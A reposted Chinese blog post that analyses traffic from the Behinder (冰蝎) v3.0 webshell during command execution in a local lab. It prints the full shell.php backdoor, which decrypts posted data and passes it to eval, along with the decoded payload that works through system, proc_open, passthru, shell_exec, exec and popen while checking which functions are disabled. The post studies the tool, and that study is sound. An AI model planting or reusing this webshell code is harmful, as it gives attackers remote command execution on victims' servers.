0


冰蝎:命令执行操作的流量分析

冰蝎:命令执行操作的流量分析

环境工具

  • 冰蝎 v3.0 Beta 11 [tools专版]
  • Burp Suite
  • PHPStorm (需配置好debug功能)
  • PHPStudy 5.6.27

实验步骤

1.使用bp抓包

先将冰蝎目录里的server/shell.php 放进 WWW 目录下,打开文件,得第四行默认连接密码 rebeyond

在冰蝎上挂好bp的代理

以执行 whoami 为例

包的大致内容如下

在这里插入图片描述

此时发现包的末尾有 == 首先推测出是用base64进行加密,但经过解码后发现仍是乱码,因此此方法无效。(这步的目的主要是看发几个包)

2.使用PHPStorm 抓包分析

先在连接冰蝎的URL 加入PHPStorm调试参数

shell.php总体流程和解释

<?php
@error_reporting(0);//设置错误报告级别为0session_start();//新建session$key="e45e329feb5d925b";//该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond 完整的是 e45e329feb5d925ba3f549b17b4b3dde$_SESSION['k']=$key;session_write_close();//结束当前会话并存储会话数据$post=file_get_contents("php://input");//获取post包下的那一堆参数if(!extension_loaded('openssl'))//是否没开启openssl扩展(php.ini) 是用于SSL/TLS协议的加密工具{$t="base64_"."decode";$post=$t($post."");//第一次base64解码,结果是乱码for($i=0;$i<strlen($post);$i++){//遍历$post的每个字符,运行下面的计算$post[$i]=$post[$i]^$key[$i+1&15];//第二次解码,真正出结果的语句,^:异或运算符,&:与运算符}}else{$post=openssl_decrypt($post,"AES128",$key);//解码函数(密文,算法,密钥)}$arr=explode('|',$post);//用 | 分割 (二次解码后只在assert后存在| 所以只分成了两段)$func=$arr[0];//结果:assert$params=$arr[1];//结果:eval(base64_decode(...))classC{publicfunction__invoke($p){eval($p."");//执行base64解码后语句,也就是执行$params base64解码后的语句}}

@call_user_func(newC(),$params);//调用回调函数echo123;//为了快速跳转所设置的断点,能直接得到 $params的值?>

由此得出,shell.php这个文件的作用是解码 post 传的参数。

而真正执行的语句一共经过了三层加密:base64 -> 异或加密/AES128 ->base64

(如果不懂第二次解码的操作可以debug下面的语句)

<?php$post=' 此处截取第一次解码后的乱码 ';$key="e45e329feb5d925b";for($i=0;$i<strlen($post);$i++){$a=$post[$i];$b=$key[$i+1&15];//第一次是从4开始的$c=$a^$b;$post[$i]=$c;}?>

3.分析真正的语句

准备工作

  1. 重新发送语句,跳转到最后一行(echo 123;)
  2. 复制 $params 的值,将base64_decode 里的内容自己解码
  3. 将解码后的代码复制到新的php文件中,访问调试

总体流程和解释

<?php//将shell.php 的头部加上,下面需要
@error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();//------------------------------functiongetSafeStr($str){$s1=iconv('utf-8','gbk//IGNORE',$str);//将$str 从utf-8编码转成gbk编码$s0=iconv('gbk','utf-8//IGNORE',$s1);//将$1 从utf-8编码转成gbk编码if($s0==$str){return$s0;}else{returniconv('gbk','utf-8//IGNORE',$str);}}functionmain($cmd,$path){
    @set_time_limit(0);//设置脚本最大执行时间
    @ignore_user_abort(1);//设置客户端断开连接时是否中断脚本的执行
    @ini_set('max_execution_time',0);//为一个配置选项设置值 (设置php.ini中的值,0表示没时间限制)$result=array();$PadtJn= @ini_get('disable_functions');//php.ini 中的选项,设置PHP环境禁止使用某些函数if(!empty($PadtJn)){//判断是否不为空$PadtJn=preg_replace('/[, ]+/',',',$PadtJn);$PadtJn=explode(',',$PadtJn);//将禁用函数用,分割成数组$PadtJn=array_map('trim',$PadtJn);//  回调函数trim():删除字符串开头的空格(或其他字符)}else{$PadtJn=array();}$c=$cmd;if(FALSE!==strpos(strtolower(PHP_OS),'win')){//判断是不是window系统;PHP_OS=WINNT;strpos():查找字符串首次出现的位置$c=$c." 2>&1\n";//1表示标准输出,2表示标准错误输出,2>&1表示将标准错误输出重定向到标准输出,这样,程序或者命令的正常输出和错误输出就可以在标准输出输出。}$JueQDBH='is_callable';//检测该函数在当前环境中是否可调用$Bvce='in_array';//搜索数组中是否存在指定的值if($JueQDBH('system')and!$Bvce('system',$PadtJn)){//检测system() 是否可用ob_start();system($c);$kWJW=ob_get_contents();//获取ob里的值ob_end_clean();}elseif($JueQDBH('proc_open')and!$Bvce('proc_open',$PadtJn)){//检测proc_open() 是否可用$handle=proc_open($c,array(//proc_open() 执行一个命令,并且打开用来输入/输出的文件指针array(//标准输入,子进程从此管道读取数据'pipe','r'),array(//标准输出,子进程向此管道写入数据'pipe','w'),array(//再读一次'pipe','w')),$pipes);$kWJW=NULL;while(!feof($pipes[1])){//feof() 测试文件指针是否到了文件结束的位置$kWJW.=fread($pipes[1],1024);//每次读1024个字节}
        @proc_close($handle);}elseif($JueQDBH('passthru')and!$Bvce('passthru',$PadtJn)){//检测passthru() 是否可用ob_start();passthru($c);$kWJW=ob_get_contents();ob_end_clean();}elseif($JueQDBH('shell_exec')and!$Bvce('shell_exec',$PadtJn)){//检测shell_exec() 是否可用$kWJW=shell_exec($c);}elseif($JueQDBH('exec')and!$Bvce('exec',$PadtJn)){$kWJW=array();exec($c,$kWJW);//执行并赋值给$kWJW$kWJW=join(chr(10),$kWJW).chr(10);//chr() 函数从指定 ASCII 值返回字符}elseif($JueQDBH('exec')and!$Bvce('popen',$PadtJn)){//检测exec()和popen() 是否可用$fp=popen($c,'r');$kWJW=NULL;if(is_resource($fp)){while(!feof($fp)){//跟上面一样$kWJW.=fread($fp,1024);}}
        @pclose($fp);}else{//上面的函数都被禁用了$kWJW=0;$result["status"]=base64_encode("fail");//加入失败的信息$result["msg"]=base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");$key=$_SESSION['k'];echoencrypt(json_encode($result),$key);//encrypt(需要加密解密的字符串,密钥)return;}$result["status"]=base64_encode("success");//加入成功的信息:c3VjY2Vzcw==$result["msg"]=base64_encode(getSafeStr($kWJW));//命令执行的结果:$kWJW=win102022liofhw\administratorechoencrypt(json_encode($result),$_SESSION['k']);//最终的语句}functionencrypt($data,$key)//再次加密{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++){$data[$i]=$data[$i]^$key[$i+1&15];//原理跟shell.php里的一样}return$data;//乱码}else{returnopenssl_encrypt($data,"AES128",$key);//加密函数}}$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFdXV1wiJndob2FtaQ==";$cmd=base64_decode($cmd);//结果:cd /d "C:\phpStudy\WWW\"&whoami (直接执行这句也出结果)$path="QzovcGhwU3R1ZHkvV1dXLw==";$path=base64_decode($path);//结果:C:/phpStudy/WWW/main($cmd,$path);

4.总结

路径走向:main() -> getSafeStr() -> encrypt()

各个函数的作用

  • main:主程序,找到能够执行命令的函数。
  • getSafeStr:貌似是为了确保输出的结果不被系统默认编码影响。
  • encrypt:再次加密。

思路:通过两个参数来进行一系列加密解密,并获取配置文件里的设置来判断该用什么执行命令的函数。但仍然不清楚是怎么将结果返回到冰蝎终端的。


第一次写文章,如有出错,多多包含。

标签: web安全 phpstorm php

本文转载自: https://blog.csdn.net/weixin_52544058/article/details/127340035
版权归原作者 熔岩火山吐司 所有, 如有侵权,请联系我们删除。

“冰蝎:命令执行操作的流量分析”的评论:

还没有评论